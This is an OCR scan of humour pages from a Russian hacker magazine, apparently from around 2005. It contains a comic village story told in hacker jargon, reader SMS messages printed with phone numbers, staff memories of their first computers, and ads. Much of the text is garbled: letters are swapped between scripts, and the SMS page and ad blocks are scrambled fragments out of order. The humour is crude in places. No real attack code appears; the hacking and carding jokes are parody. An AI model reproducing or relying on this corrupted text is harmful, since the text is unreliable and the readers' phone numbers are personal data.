ГО ПОПИТЬ, ТЕТОК ДЕРЕВЕНСКИХ 
ПОЩУПАТЬ, СЕНА ПОКУРИТЬ И Т.Д. 
Я СИЛЬНО ОФИГЕЛ, КОГДА МЕНЯ 
НА ДЕРЕВЕНСКИХ УЛИЦАХ СТАЛИ 
УЗНАВАТЬ ДОБРЫЕ СЕЛЬСКИЕ МО- 
ЛОДЦЫ. ОКАЗЫВАЕТСЯ, У НИХ ТО- 
ЖЕ ЧИТАЮТ ][. ТОЛЬКО КОМПЬЮ- 
ТЕРОВ У НИХ НЕТ, ПРИХОДИТСЯ 
ЗНАНИЯ ПРИМЕНЯТЬ В РЕАЛЬНОЙ 
ЖИЗНИ. В ОБЩЕМ, ПОЕЗДКА В ДЕ- 
РЕВНЮ СТАЛА ДЛЯ МЕНЯ ПОЛНОЙ 
ОТКРЫТИЙ И УДИВЛЕНИЙ I 



ЬООЫік (Ь00Ыік@геаІ. хакер. ги), 
Р1пі (Ыпі@датѳіапс1.ги) 



[Апис] У бабули по соседству жил паренек. Придурковатого ви- 
да, конечно. Но это свойственно всем соседям бабули. Так вот, 
парня этого звали Аписом, а по батюшке был он Акаковичем. 
Хороший такой парень, ничего не скажешь. Любил, знаете ли, 
выйти в пять утра на крыльцо, да как заорать на все село: «Я-йа- 
йа-ко-ко-джамбоооо!». Петуха просто деревенского еще два 
года назад заООоЗили камнями местные любители поспать, до 
сих пор оклематься не может бедная птичка. А Апис в авторите- 
те, сельский иркоп — его трогать боятся. Да и ладно, не в этом 
суть. Апис, хоть и дурак, но смышленый дурак, надо отметить. 
Самый старый из всего села наш читатель. Много премудрос- 
тей замутил во благо деревенского общества. Одно из послед- 
них его достижений — оверклок коров. Коровы же, они какие: 
больше ведра молока за раз не дают. А молочное хозяйство с 
такими маленькими дозами просто загибается. Вот и решил по- 
кумекать Апис над этим вопросом. Начитался, стало быть, пос- 
ледних номеров X и придумал, что если подать питание через 
другой вход с более широким каналом, то и на выходе от боль- 
шего питания будет больше продукции. И стал Апис загонять ко- 
ровам сено через анальное отверстие посредством клизмы. 




Саму технологию объяснять не стол, говорит, секрет фирмы! Се- 
но, проходя через кишечник, быстро всасывается, поэтому сра- 
зу можно подавать дополнительное питание. Главное в этом слу- 
чае — не заиграться с питанием. А то корова лопнет от получив- 
шегося молока и умрет. До, умрет. Но тогда будет мясо, конеч- 
но, но не будет молока, к сожалению. С тех пор Апис Акакович 
называется Главным Оверклокером деревни Колупаевки. 

Но так как оверклок — это не только увеличение производитель- 
ности, сельский парень, местный гик, так сказать, повел меня в 
свою избу что-то показать. Первое, что я заметил, это то, что в из- 
бе странно воняло какой-то тухлятиной, Я сначала даже поду- 
мал, что это тот самый петух разлагается. Но Апис мне пояснил: 
это не петух, это на сомом деле тухлятина. Все встало на свои 
меота. Далее я увидел печку. Но не простую, а с какой-то здоро- 
венной хреновиной на боку. Это, как пояснил мне Апис, пропел- 
лер из двигателя трактора. Дело в том, что без такого кулера 
печь сильно нагревается, и спать на ней невозможно. В подтве- 
рждение сего факта Акакович снял штаны и показал красную, 
обгорелую, вою в волдырях задницу, Я потрогал — действитель- 
но наотоящая! 



[свинарник] Через некоторое время мы с Аписом поперлись в 
свинарник. Посмотреть, что да как том. Просто нам захотелось за- 
резать одну свинюшку и съесть ее. Но мой взгляд упал в первую 
очередь на одну овцу в свинарнике. Я еще такой подумал: «А что 
оно тут делает?». Апис дал ей пинка и выгнал из хлева. Пояснил, 
что это на самом деле не овца вовсе, а самая настоящая свинка! 
Просто ее за провинности забанили, вот оно теперь и ходит через ц) 
прокси, надевая шкуру овцы. Глупая свинья, да. Да и Апис с виду Ю 
тоже придурковатый, я уже говорил. Апис забыл прописать нор- ^ 
мально маску бана, так что глупая свинина воспользовалась этим ^ 
в своих корыстных целях. Ну и что, мы ее за это съели, вот и все. і 
Кстати, на днях этот свинарник взломали другие деревенские ха- ® 
керы. Они грубым методом подобрали ключ к замку и слили из 
хлева несколько килосвиней. Теперь на рынке попытаются про- л 
дать за талоны на спиртное. Продавать будут осторожно , потому о 
что местные кардеры могут поддельными талонами распла... “ 

СО 

О 

[экстренное сообщение] «Хинт, спаси меня срочно, здесь настоящий ^ 
флуд!». Такое сообщение отослал мне предыдущий оратор по СМС. Я ^ 

сразу же бросился на помощь другу и двинул в деревню Колупаевку, 
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[прибытие] Надо сказать, деревня Колупаевка оказалась 
действительно очень современной. Чего только стоят указатели 
«Шр://Колупаевка/центр_гороАа«, «Мф://Колупаевка/больни- 
ца« и Фр://колупаѳвка/рынок«. Я выбрал центр и не прогадал. 
Уже где-то через пицот минут езды на пропатченном турбо-осле я 
увидел голубой деревянный забор, на котором было нацарапа- 
но: «Ніпі", ісіі V 15 зедтегті', АпІІІІоосІег пе іаЬисІ'». Чуть правее было 
приписано: «Розі соттепі» и «КѲ/АМ, аИ'аг, пікасіа пе різНІ». Так 
что даже в деревне есть свой «Живой журнал», пусть и своеоб- 
разный. Ну что ж, настроив осла на 15 сегмент, я поскакал... И 
почти сразу увидел Бублика, лежащего на траве и закрывающего 
лицо руками. Его жестко клевал отряд индюков. 

«Флудеры», — подумал я. 

«Флудеры?» — подумали флудеры, испугались и убежали. Как же 
долго меня благодарил ваш бородатый друг за свое спасение. Он 
даже хотел мне подарить КПК из березового листа, на котором 
можно было играть в крестики-нолики. Правда, КПК был одноразо- 
вый, поэтому я быстро сообразил, что меня на-ѴО-бывают средь 
бела дня, и отстриг Бублику бороду. 

[чат] Долго ли, коротко ли — забрели мы с Бублом в местный ѴѴѴѴѴѴ- 
чат. Представь себе теплое синее море, бархатный нежный пе- 
сок, приятно обжигающий твои пятки, стайка стройных полуразде- 
тых теток. .. Представил? А не будет такого, не-бу-дет! ! ! Чат — это та- 
кой небольшой парк с кучей дверей. Дверки, соответственно, — 
это разные каналы. Мы сразу же ломанулись в комнату с таблич- 
кой «Тем, кому за 18». Распахнулась дверь, и нашему взору предс- 
тала такая картина: четыре девушки в одинаковых черных балахо- 
нах тихо мирно храпят. «БНЦ», — пояснил нам седой старичок. 

— Они никогда не проснутся, потому что забыли свой пароль. Я 
здесь один, 

— Скажи, мил старик, а как нам найти ХАКЕРОВ? 

— Уууу... хакеры. Выходите из чата и ищите человека с уином три- 
девять-два-восемь-один-пять-ноль-ноль-семь. 

Выйдя из чата, мы начали ломать голову — как же найти чувачка с 
таким элитным номером аськи. Ничего придумать не удалось, по- 
этому я считерил и подсмотрел ответ в своей базе. Оказывается, 
нужно идти на поляну с ромашками. Гениально! 

[ромашки спрятались, поникли... вообще поникли, нахрен] Выйдя 
на поляну, я сразу заметил смешно одетого деревенского па- 
ренька с красной ромашкой в руках. 

— Парень, парень! Помоги нам отыскать хакера с уином номер 
(вырезано для экономии печатных листов формата А4 — приме- 
чание рядового работника типографии журнала)! 

Но хлопец молчал. 

— Дурак! — обратился ко мне мой бородатый сГіег, — он же в оф- 



флайне! Ищи зеленых! 

— Сам дурак! — ответил я, достал гуашь и перекрасил лепестки в 
цвет фанатов гринписа. И — о чудо! Паренек улыбнулся и быстро 
залопотал: 

— Спасибо, мил человек! Вот уже три столетия я покоился в лам - 
нѳ оффлайне. Теперь я могу исполнить любые твои три желания, 
кроме поиска хакера, выпивки, женщин и волшебной палочки. 
Это были последние слова нерадивого асечника. Рассвирепев- 
ший Бублик отрезал ему голову, прожевал, проглотил, переварил 
и вы-НО\Л/?-ал. А, и был таков. 

[безымянный.М] Делать нечего — двинули мы обратно, продол- 
жая удивляться техническому прогрессу обычной деревушки. 
Идем, попиваем пивко, и — хобана! Видим что-то наподобие 
школьного кабинета, только на воздухе. Двадцать столов, за кото- 
рыми сидят бабушки, малые дети совсем и здоровые мужики и 
что-то пишут. Пишут на листочке и передают друг другу. Вот один 
парень передал другому записку; тот, прочитав, хлопнул рукой по 
столу, достал из кармана красную карточку и показал обидчику. 
Тому ничего не оставалось, как встать из-за стола и выйти. «Бон», — 
догадались мы. Перед нами предстал настоящий ІРС-чат. Может 
быть, здесь мы сможем разыскать хЭкера? Я, надев наглое выра- 
жение лица, подошел к месту забаненного чела и попытался 
сесть. Не тут-то было. Ко мне подбежал какой-то быдловатый това- 
рищ и заорал: «ИНВАЙТ ОНЛИ!». Проблему быстро решил Бублик. 
Достал из кармана флаер в гей-клуб и подмигнул охраннику. Тот 
расплылся в улыбке, притащил еще один свободный стол для нас 
и усадил, любезно предоставив две ручки и два листа. 

— Ні а!!. Нам нужен хакер, — написал я и передал бабушке. Та, 
склонившись к листу, чуть почесала затылок, быстро начертала что- 
то и отдала обратно. 

— ггтЕМ, т1?Амзит омЕУ. 

!<онтакт с бабкой мы таки наладили. Оказывается, что хакера повяза- 
ли, дескать, давно. И не выйдет у нас ничего путного из идеи ин- 
тервью. Зато старая дала координаты крякера, взламывающего и 
перепрошивающего консервные банки, фрикера, который един- 
ственный в районе обладает работающим телефоном, и кардера. 
Тот вообще без проблем затаривается на рынке по креде. Я лично 
сам видел эту креду — прямоугольная картонка с красной над- 
писью от руки: «Виза. ПРАДАЙ А НЕ ТО ПАЛУЧИШ ПА РЕПЕ ПОНЯА». 

[экстренное сообщение-2] «Куттер, !<луниз, Никитоз! Мы получили 
по репе и вызываем подмогу. БутчкхинтТОЧ!<А (просто ему хватило 
денег заплатить за срочную телеграмму)». 

[эпилог] Конца не будет — не влез. Хинт вообще фигню написал 
какую-то. С уважением, ваш Бублик © 





&?& 3 ; 

і^^^^'но.Мыиса”' 

мѳрс5^наи^®'‘Аа 

'''нгер^сноХ 

;«?Жаль 









о 

с; 

со 

т 



< 

X 

ш 

=Г 

О 



о 

о 

X 




ратуру для начинающих. „колобок». АД9- ночи- 

X: для начинающих жить м У 
--Х входить во взрооль. .ИР 
,, починающих сходить с у.а - ИОО 
.ийства, или поваренная книго 
Ч., НУ ТАК ЧТО НАСЧЕТ АСИ? ПОМОЖЕШЬ . ХОРО 

іАПЛАЧУ! (Ч79135Т45550) 

X: помогу, несомненно! и/тѵ.юр.сопт. Хор 

7039456437828. Г+79042160749) 

ЧМр .НО Камчатке случайно не броди . 

сделать в конце? Срочно! ,^опце поцелуй ее. А если 

X- ЕСЛИ она начнет облизывать снизу вверх. 

онабудетлизатьсверхувниз,тодайейпяткоивиос. 

Ч: привет, Никитос! Я тоже бардист. 

_ г-чх Т^ПРОЬ Я боянист. 

X; А я больше не бордист .С. забыли?? С+994502500030) 

Ч: ребята, милые, ,,рекрь,л ном доступ ко всей зоне 



X- Потому что N30 

■====5====" 

X: Ну что такое эксплоит Р 

1,анат карбюраторов и стартеров. ^^7,054385724) 

Ч: 4е беіот ез!і абтіп ибо!!!, з котро??? Неір.. 

X: попробуй удалить еще и рута ,,79109927216) 

-пг;::г::Гр— 

ал,ювѳоРРОТР™«“'*"““ 

X: привет будущему прогроммеру от будущего 



Ч; ЬООЫІк - раізап (+79163522229) 

"~~а.асМоп!Ьибробзка.езП(роск^^ 

(+79117243264) .^гнппба — и/илѵ.уо.ги. 

X: самый лучший линк на ^іпіодоп 

Ч; МОЙ друг установил на 5Р2 сгаск 

(+79219261236) „т піУІВ Удобно, блин. 

Х:Мойкорешпоставилвкопе«^ 

Ч: Лозовский, у меня к тебе вопро . 

- можно обращаться? (+79042710728) 

X., только по вопросу сдачи в общем, пе- 

Ч: После того кок я прочитал хумо ^ хумор из журнала - 

редейте Майндворку мои ,„,ера. С наилучшими поже- 

пусть займется серьезным 

даниями. верный читатель Аь ^ аге ЫЕХТ!!! 

Х-. майндворку передели твои привеп ^97570165) 

Ч. С помощью какой проги ты делаешь журнол , 

! Ч. пчочка » ччсч -о,*,на.о.»ѳ »»« «9178 

^ :г:Гт::::^н;:^зАсмѵ,АтсчнЕЕ,пЕРЕвсдд^^^^^ 

ТдГГГГ— 

X: У Форбо не нашлось другой фотографии, поэтому 
; рельского номера все фотки _ наперед диск \ЛЛпХР, то можно услы- 

1 ч-Аправда,чтоеслипрокр^итьзадомнапередд 

иатьпослониеизадо?(ч79212984313) 

(+7912497229) „еоеключить канол, что сложного? 

; Х-, набери его номер и попр цо7@,апіЫег.ги. Напиши мне, по- 

Ч; Привет, N50. Я казак, мое м похвастаться перед 

і жалуйста,что-нибудьвсвободное время тудо^Хо 

1 друзьями, что я с тобой знаком! (+792730838 
і X: Ладно. 





Х-СКЕѴѴ СОММЕМТЗ: 

Вот мы все писали о себе разные истории на отвлечен- 
ные от компьютеров темы. Но как же так? Разве нашим 
авторам не интересно написать, а вам - почитать исто- 
рии о первом знакомстве с писюками членов нашей 
команды? 
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Апокино Анна ака татаКагІо 



АІАСЕ НОШ 

иАйІОМАН . 19 






Принта вспомнить тот день, ког- 
да у меня появился первый 
компьютер. Это случилось при- 
мерно тогда, когда я пошел в 
школу. К сожалению, комп был 
не из разряда Р1 с \Л/іп95. Он но- 
сил гордое имя Спектрум и 
имел 48 килобайт мозгов. Такую 
машинку полностью собрал 
мой отец, за что я ему очень 
благодарен. Благодаря Спект- 
руму, я очень быстро освоил ко- 
манды среды ТР-ООЗ и поти- 
хоньку стал программировать 
на Бейсике (в возрасте семи 
лет!), но дальше простых прог- 
рамм с динамической графи- 
кой не уходил. Через полгодика 
мне стало интересно, что же у 
этого Спектрума внутри, и я по- 
ковырялся в нем отверткой. В 
итоге замкнул какие-то конден- 
саторы и спалил дорогую техни- 
ку :). Батя сказал, что его такой 
расклад в корне не устраивает, 
и больше у меня компа не будет. 
Но слово он не сдержал. Через 
три месяца он спаял Корвет уже 
со 128 метрами мозгов, чем 
очень разнообразил мою 
жизнь. Снова игры, снова Бей- 
сик. И так до тех пор, пока к 1998 
году предки не купили мне пер- 
вый пенек. Но это уже совсем 
другая история. . . 
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Компы меня интересовали с са- 
мого рождения. Уж и не знаю, 
откуда я знал тогда, что они во- 
обще существуют. Первое 
близкое знакомство с тачкой 
состоялось в далеком-далеком 
91 году, в шесть лет, во времена 
перестройки. Помню, моему 
старшему двоюродному брату 
предки подарили на Новый год 
компьютерную приставку «На- 
фаня». Смешная это штуковина 
была, однако процессор у нее 
был совмещен с клавиатурой, 
которая, в свою очередь, подк- 
лючалась к телевизору. Ника- 
ких дисководов у этого «компа» 
не было — в качестве информа- 
ционных носителей использо- 
вались аудиокассеты :). Поэто- 
му, чтобы загрузить игру, прихо- 
дилось подключать магнитофон 
к клавиатуре и проигрывать в 
течение достаточно длительно- 
го времени нужную кассету :). 
На той тачке даже не было ни- 
какой операционки — рулить 
ею можно было только с по- 
мощью команд 5-ВА5ІС‘а. В об- 
щем, парни, это был реальный 
олдскул! Уж и не знаю даже, 
чего можно было замутить на 
той машине дельного. . . 






Ильин Степан ака Зтер 



Компьютерами я заболел еще в 
детстве. Мне было, наверное, 
всего семь-восемь лет, когда я 
каждые выходные стал прихо- 
дить к отцу на работу. Компью- 
тера у меня тогда дома не было, 
но зато я по полной программе 
отрывался в выходные, играясь в 
любимую «Цивилизацию» на тог- 
да еще модном 386-м. Со вре- 
менем затянуло. Я записался в 
компьютерный кружок местной 
Станции Юного Техника и начал 
постигать основы языка Вазіс на 
компьютере IX Зресігит и да- 
же, помнится, написал игру «Пи- 
тон» :). Примерно в это же время 
родители купили мне первый 
Репііит 133. С этим компьюте- 
ром я не расстаюсь до сих пор 
— он по-прежнему стоит у меня 
на полу и под управлением 
РтееВЗО выполняет функции 
маршрутизатора. А я теперь 
учусь в университете на прог- 
раммиста или, как это сейчас 
модно называть, специалиста в 
информационных технологиях. 
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У меня с детства была тяга все оптими- 
зировать. У меня и сейчас на компе 
идеальный порядок, строгая иерар- 
хия. Я всегда знаю, где у меня что лежит 
=). Больше 70 Гб перебрано по байтику 
и уложено. Да, наверное, я зануда =). 
Так вот. Где-то лет 12 мне было, когда у 
нас дома появился 286-й. Купили его по 
случаю в общеобразовательных целях 
— например, для повышения моей 
квалификации игрока в тетрис до 
заоблачных высот. И написала я в проге 
«Лексикон» супермегапиесу в стихах. И 
была она гениальна и бесподобна. 
Как-то раз мне пришло в голову, что мес- 
та на диске может не хватить подо все 
мои будущие великие замыслы. И я ста- 
ла лазать по Ыоііоп Соттапсіег'у и 
просматривать каждый файл. Они отк- 
рывались и являли моему взору, в основ- 
ном, бессмысленный набор каких-то 
нечеловеческих символов. Понятное де- 
ло — ведь всяких дурацких экзешников и 
АЛЛок тогда было гораздо больше, чем 
моих произведений. Не то что сейчас -). 
И вот я, не ради вредительства, а токмо 
рационализации для, поудаляла нах все 
файлы с этими символами. С особен- 
ным удовольствием я грохала «текстови- 
ки», где символов было так много, что ме- 
ня ломало проматывать их до конца. 
Когда же это бездумное буйство за- 
вершилось, я обнаружила, что не мо- 
гу открыть свою прекрасную и беспо- 
добную пиесу в стихах. Как я теперь 
понимаю, по той причине, что лекси- 
кон, ехе был варварски уничтожен. 
Никто из моей семьи в компах не сек, и 
тачке моей было суждено пылиться па- 
ру лет на столе. Никто из пришлых гиков 
так ее и не восстановил, ибо кроме 
«Лексикона» я потерла еще и систем- 
ные файлы, и он просто не грузился. 
Зато когда в восьмом классе у меня 
появился 486-й с 2 Гб памяти, я была 
уже «отцом» =). С неугасшей тягой к 
бесконечному копанию в папочках и 
удалению всякого балласта. И вечно 
заспанной физиономией. 

Ребята. Ложитесь спать вовремя! 
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Новосибирск: Квеста (38322) 332-407; Нижний Новгород: Бюро-К (8312) 422-367; Пермь: Гаском (8612) 699-850; Ростов-на-Дону: Зенит-Компьютер (8632) 950-300 
Тюмень: ИНЭКС-Техника (3452) 390-036. 
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Нцвііф*г, чті^ кнрп» [^оуцгі«Щіід|і#мг к^гцмш аь^рплм Т(і'чіі|ці' Ёяшр^ 
ДМ порро«<чия №^р№«4вй ньформацнаичой етЕнуятуііЪіі. ТКндѵ'ктѵ Вш^віячі 
ѴнЛЖШя яп0«<влтъся ушрш в йірнвсв к4н глд^Іігѵныи іѵрпррін^яи тлн 
Н чвбйЛШММ ІбхнбЛМШ. №П4ЛьаѴМ4ьН В. кВиШ 

моутву»*і;, гѵчатчатрОЯСІ|№Ц МЖ^ псоімгша- &шішп0 ш прѵу 

иазываіьсв ое^іуи^ І^-комгшпмй. 

ГМЧфМ 8*т«і^: г. №і4«. уП ТМ№4*.Д ѴИ.Сф 1 

Инфаршммьмьй ѵвліі: Д-ВП>'Я№-<^-40а й«тшлшл4ги.Т1Жрш|лв4иМфй*в|* 
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Видеокамера 



Фотокамера 

1,3-мегапикселя 



Оглянитесь - жизнь полна неповторимых моментов, 
надо только уметь их увидеть! С новым смартфоном Мокіа 6681 
Вы действительно начнете замечать больше! 1,3-мегапиксельная 
камера со вспышкой, 6-кратный зум, дисплей с поддержкой 
262 144 цветов и решение для печати фотографий с телефона 
Мокіа Хрге55РгіпІ превратят работу с изображениями 
в удовольавие и позволят взглянуть на мир по-новому. 



Горячая линия Мокіа: (095) 727-2222. Часы работы: 08.00-20.00 (московское время), Пн.-Пт ѵѵѵѵѵѵ.покіа.ги 



Соругідііі; © Мокіа, 2005. Все права защищены. Мокіа, Мокіа Соппесгіпд Реоріе являются товарными знаками Мокіа Согрогатіоп. Товар сертифицирован. 
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